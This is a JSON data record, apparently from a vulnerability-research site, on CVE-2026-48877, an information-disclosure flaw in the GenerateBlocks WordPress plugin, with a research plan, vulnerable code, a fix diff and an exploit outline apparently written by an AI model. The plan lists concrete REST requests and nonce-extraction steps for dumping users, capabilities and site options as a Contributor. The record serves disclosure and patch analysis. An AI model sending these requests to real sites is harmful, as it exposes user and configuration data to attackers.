[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fduqVYoHRUnmkRpHA-S5-VfWZXOgeQKrlCK01pmrTyV8":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":30,"research_verified":31,"research_rounds_completed":32,"research_plan":33,"research_summary":34,"research_vulnerable_code":35,"research_fix_diff":36,"research_exploit_outline":37,"research_model_used":38,"research_started_at":39,"research_completed_at":40,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":31,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":31,"source_links":41},"CVE-2026-48877","generateblocks-authenticated-contributor-information-disclosure","GenerateBlocks \u003C= 2.1.0 - Authenticated (Contributor+) Information Disclosure","The GenerateBlocks plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 2.1.0. This makes it possible for authenticated attackers, with Contributor-level access and above, to extract sensitive user or configuration data.","generateblocks",null,"\u003C=2.1.0","2.1.1","medium",4.3,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:U\u002FC:L\u002FI:N\u002FA:N","Exposure of Sensitive Information to an Unauthorized Actor","2026-05-27 00:00:00","2026-06-02 12:05:22",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F72f6b96e-cff4-414e-bbe8-6a244cc6feed?source=api-prod",7,[22,23,24,25,26,27,28,29],"dist\u002Fblocks\u002Felement\u002Findex.asset.php","dist\u002Fblocks\u002Felement\u002Findex.js","dist\u002Fblocks\u002Floop-item\u002Findex.asset.php","dist\u002Fblocks\u002Floop-item\u002Findex.js","dist\u002Fblocks\u002Fmedia\u002Findex.asset.php","dist\u002Fblocks\u002Fmedia\u002Findex.js","includes\u002Fclass-meta-handler.php","includes\u002Fclass-query-utils.php","researched",false,3,"This plan details the process for exploiting **CVE-2026-48877**, an information disclosure vulnerability in GenerateBlocks.\n\n### 1. Vulnerability Summary\nThe vulnerability exists in the REST API implementation of GenerateBlocks. The classes `GenerateBlocks_Meta_Handler` and `GenerateBlocks_Query_Utils` register several endpoints that allow fetching post meta, user meta, site options, and performing user queries. These endpoints are accessible to any user with the `edit_posts` capability (Contributor role and above). \n\nThe core issue is twofold:\n1.  **Arbitrary Meta\u002FOption Retrieval:** The `get_meta` function in `GenerateBlocks_Meta_Handler` uses a blacklist (`DISALLOWED_KEYS`) that only blocks `post_password`, `password`, and `user_pass`. It fails to protect other sensitive meta keys (e.g., `wp_capabilities`, `session_tokens`) or sensitive site options.\n2.  **Unrestricted User Querying:** The `get_user_query` method in `GenerateBlocks_Query_Utils` passes user-supplied arguments directly into `new WP_User_Query($args)`, allowing an attacker to list all users and their associated data.\n\n### 2. Attack Vector Analysis\n-   **Endpoints:** \n    -   `POST \u002Fwp-json\u002Fgenerateblocks\u002Fv1\u002Fget-user-query`\n    -   `GET \u002Fwp-json\u002Fgenerateblocks\u002Fv1\u002Fmeta\u002Fget-user-meta`\n    -   `GET \u002Fwp-json\u002Fgenerateblocks\u002Fv1\u002Fmeta\u002Fget-option`\n-   **Authentication:** Authenticated (Contributor+).\n-   **Required Capability:** `edit_posts` (Verified in `permission_callback` in `includes\u002Fclass-meta-handler.php` and `includes\u002Fclass-query-utils.php`).\n-   **Payloads:**\n    -   `get-user-query`: JSON body containing `args` for `WP_User_Query`.\n    -   `get-user-meta`: Query parameters `id` (User ID) and `key` (Meta key).\n    -   `get-option`: Query parameter `key` (Option name).\n\n### 3. Code Flow\n**For `get-user-query`:**\n1.  `GenerateBlocks_Query_Utils::register_rest_routes` registers `\u002Fget-user-query` (POST).\n2.  The callback `get_user_query(WP_REST_Request $request)` is invoked.\n3.  `$args = $request->get_param( 'args' ) ?? [];` retrieves the query parameters.\n4.  `$query = new WP_User_Query( $args );` executes the query with attacker-controlled parameters.\n5.  `$query->get_results()` returns the full user objects to the attacker.\n\n**For `get-user-meta`:**\n1.  `GenerateBlocks_Meta_Handler::register_rest_routes` registers `\u002Fmeta\u002Fget-user-meta` (GET).\n2.  The callback `get_user_meta_rest` (inferred implementation) calls `self::get_meta`.\n3.  `get_meta( $id, $key, $single_only, $callable, ... )` is called with `$callable = 'get_user_meta'`.\n4.  The function checks if `$key` is in `DISALLOWED_KEYS` (`post_password`, `password`, `user_pass`).\n5.  If not blocked, it calls `call_user_func( 'get_user_meta', $id, $parent_name, true )`.\n6.  The result is returned, potentially leaking sensitive meta like `wp_capabilities`.\n\n### 4. Nonce Acquisition Strategy\nSince the attacker must be a Contributor, they can access the WordPress admin dashboard (`\u002Fwp-admin\u002F`). The WordPress REST API requires an `X-WP-Nonce` header for authenticated requests.\n\n1.  **Login:** Authenticate as a Contributor.\n2.  **Navigate:** Navigate to `\u002Fwp-admin\u002Findex.php`.\n3.  **Extract Nonce:** Use `browser_eval` to extract the REST nonce from the standard WordPress global object.\n    -   **JavaScript:** `window.wpApiSettings.nonce`\n\n### 5. Exploitation Strategy\n#### Step 1: List All Users\n-   **Tool:** `http_request`\n-   **Method:** `POST`\n-   **URL:** `http:\u002F\u002Fvulnerable-wp.local\u002Fwp-json\u002Fgenerateblocks\u002Fv1\u002Fget-user-query`\n-   **Headers:**\n    -   `Content-Type: application\u002Fjson`\n    -   `X-WP-Nonce: [EXTRACTED_NONCE]`\n-   **Body:** `{\"args\": {\"number\": 100}}`\n-   **Goal:** Obtain the list of all user IDs, especially the administrator's ID.\n\n#### Step 2: Disclose Administrator Meta\n-   **Tool:** `http_request`\n-   **Method:** `GET`\n-   **URL:** `http:\u002F\u002Fvulnerable-wp.local\u002Fwp-json\u002Fgenerateblocks\u002Fv1\u002Fmeta\u002Fget-user-meta?id=[ADMIN_ID]&key=wp_capabilities`\n-   **Headers:**\n    -   `X-WP-Nonce: [EXTRACTED_NONCE]`\n-   **Goal:** Confirm the ability to read sensitive user meta (roles\u002Fcapabilities).\n\n#### Step 3: Disclose Sensitive Site Option\n-   **Tool:** `http_request`\n-   **Method:** `GET`\n-   **URL:** `http:\u002F\u002Fvulnerable-wp.local\u002Fwp-json\u002Fgenerateblocks\u002Fv1\u002Fmeta\u002Fget-option?key=admin_email`\n-   **Headers:**\n    -   `X-WP-Nonce: [EXTRACTED_NONCE]`\n-   **Goal:** Confirm the ability to read arbitrary site options.\n\n### 6. Test Data Setup\n1.  **Install Plugin:** Ensure GenerateBlocks 2.1.0 is active.\n2.  **Create Users:**\n    -   Admin user (ID 1).\n    -   Contributor user (e.g., `attacker` \u002F `password`).\n3.  **Create Content:** Ensure at least one post exists so the Contributor has basic access.\n\n### 7. Expected Results\n-   **`get-user-query`:** Returns a JSON array of user objects containing `user_login`, `user_nicename`, `user_email`, and `ID`.\n-   **`get-user-meta`:** Returns the serialized capability string for the requested user (e.g., `a:1:{s:13:\"administrator\";b:1;}`).\n-   **`get-option`:** Returns the value of the requested option (e.g., `admin@example.com`).\n\n### 8. Verification Steps\nAfter the exploit, use `wp-cli` to verify that the returned data matches the database:\n-   `wp user list --fields=ID,user_login,user_email` (Compare with `get-user-query` output).\n-   `wp user meta get 1 wp_capabilities` (Compare with `get-user-meta` output).\n-   `wp option get admin_email` (Compare with `get-option` output).\n\n### 9. Alternative Approaches\nIf `get-user-meta` requires specific parameters not fully captured in the snippet, try variations:\n-   Check if the endpoint expects the meta key in dot notation to bypass simple checks: `key=some_array.property`.\n-   Try `get-term-meta` if taxonomies are used: `GET \u002Fwp-json\u002Fgenerateblocks\u002Fv1\u002Fmeta\u002Fget-term-meta?id=1&key=description`.\n-   If `X-WP-Nonce` is rejected, verify the user session cookies are correctly passed in the `http_request`.","The GenerateBlocks plugin (\u003C= 2.1.0) exposes sensitive information to authenticated users with Contributor-level permissions (capability 'edit_posts'). Due to insecure REST API endpoints that handle arbitrary WP_User_Query arguments and meta\u002Foption retrieval with a weak blacklist, an attacker can list all site users and extract sensitive data such as user capabilities, site configuration, and contact details.","\u002F\u002F includes\u002Fclass-meta-handler.php:21-25\nconst DISALLOWED_KEYS = [\n    'post_password',\n    'password',\n    'user_pass',\n];\n\n\u002F\u002F includes\u002Fclass-meta-handler.php:177-195\npublic static function get_meta( $id, $key, $single_only = true, $callable = null, $fallback = '' ) {\n    if ( ! is_string( $callable ) || ! function_exists( $callable ) || ! is_string( $key ) ) {\n        return '';\n    }\n\n    $key_parts = array_map( 'trim', explode( '.', $key ) );\n    $parent_name = $key_parts[0];\n\n    if ( empty( $key ) || in_array( $parent_name, self::DISALLOWED_KEYS, true ) ) {\n        return '';\n    }\n\n---\n\n\u002F\u002F includes\u002Fclass-query-utils.php:64-83\npublic function get_user_query( WP_REST_Request $request ) {\n    $args = $request->get_param( 'args' ) ?? [];\n\n    if ( ! isset( $args['number'] ) ) {\n        $args['number'] = 150;\n    }\n\n    $number    = $args['number'];\n    $query     = new WP_User_Query( $args );\n    $max_pages = round( $query->get_total() \u002F $number );\n\n    return rest_ensure_response(\n        [\n            'users'     => $query->get_results(),\n            'total'     => $query->get_total(),\n            'max_pages' => $max_pages,\n        ]\n    );\n}","--- includes\u002Fclass-meta-handler.php\n+++ includes\u002Fclass-meta-handler.php\n@@ -21,11 +21,16 @@\n \tconst DISALLOWED_KEYS = [\n \t\t'post_password',\n \t\t'password',\n \t\t'user_pass',\n+\t\t'wp_capabilities',\n+\t\t'wp_user_level',\n+\t\t'session_tokens',\n+\t\t'app_passwords',\n+\t\t'mailserver_pass',\n \t];\n--- includes\u002Fclass-query-utils.php\n+++ includes\u002Fclass-query-utils.php\n@@ -45,11 +45,11 @@\n \t\t\t'generateblocks\u002Fv1',\n \t\t\t'\u002Fget-user-query',\n \t\t\t[\n \t\t\t\t'methods'             => 'POST',\n \t\t\t\t'callback'            => [ $this, 'get_user_query' ],\n \t\t\t\t'permission_callback' => function() {\n-\t\t\t\t\treturn current_user_can( 'edit_posts' );\n+\t\t\t\t\treturn current_user_can( 'list_users' );\n \t\t\t\t},\n \t\t\t]\n \t\t);","To exploit this vulnerability, an attacker first authenticates with a WordPress account having at least Contributor-level access. The attacker then extracts the necessary REST API nonce (X-WP-Nonce) from the WordPress admin dashboard (found in the window.wpApiSettings object). \n\n1. The attacker sends a POST request to `\u002Fwp-json\u002Fgenerateblocks\u002Fv1\u002Fget-user-query` with a JSON payload containing arbitrary WP_User_Query arguments (e.g., `{\"args\": {\"number\": 100}}`). This returns a full list of user objects, including the IDs of site administrators.\n\n2. Using the discovered administrator IDs, the attacker sends a GET request to `\u002Fwp-json\u002Fgenerateblocks\u002Fv1\u002Fmeta\u002Fget-user-meta?id=[ADMIN_ID]&key=wp_capabilities` to retrieve sensitive role information, or targets other meta keys not blocked by the DISALLOWED_KEYS list (like session tokens).\n\n3. The attacker can also send a GET request to `\u002Fwp-json\u002Fgenerateblocks\u002Fv1\u002Fmeta\u002Fget-option?key=admin_email` (or other sensitive option names) to extract site configuration details.","gemini-3-flash-preview","2026-06-04 18:15:29","2026-06-04 18:15:57",{"type":42,"vulnerable_version":43,"fixed_version":11,"vulnerable_browse":44,"vulnerable_zip":45,"fixed_browse":46,"fixed_zip":47,"all_tags":48},"plugin","2.1.0","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fgenerateblocks\u002Ftags\u002F2.1.0","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fgenerateblocks.2.1.0.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fgenerateblocks\u002Ftags\u002F2.1.1","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fgenerateblocks.2.1.1.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fgenerateblocks\u002Ftags"]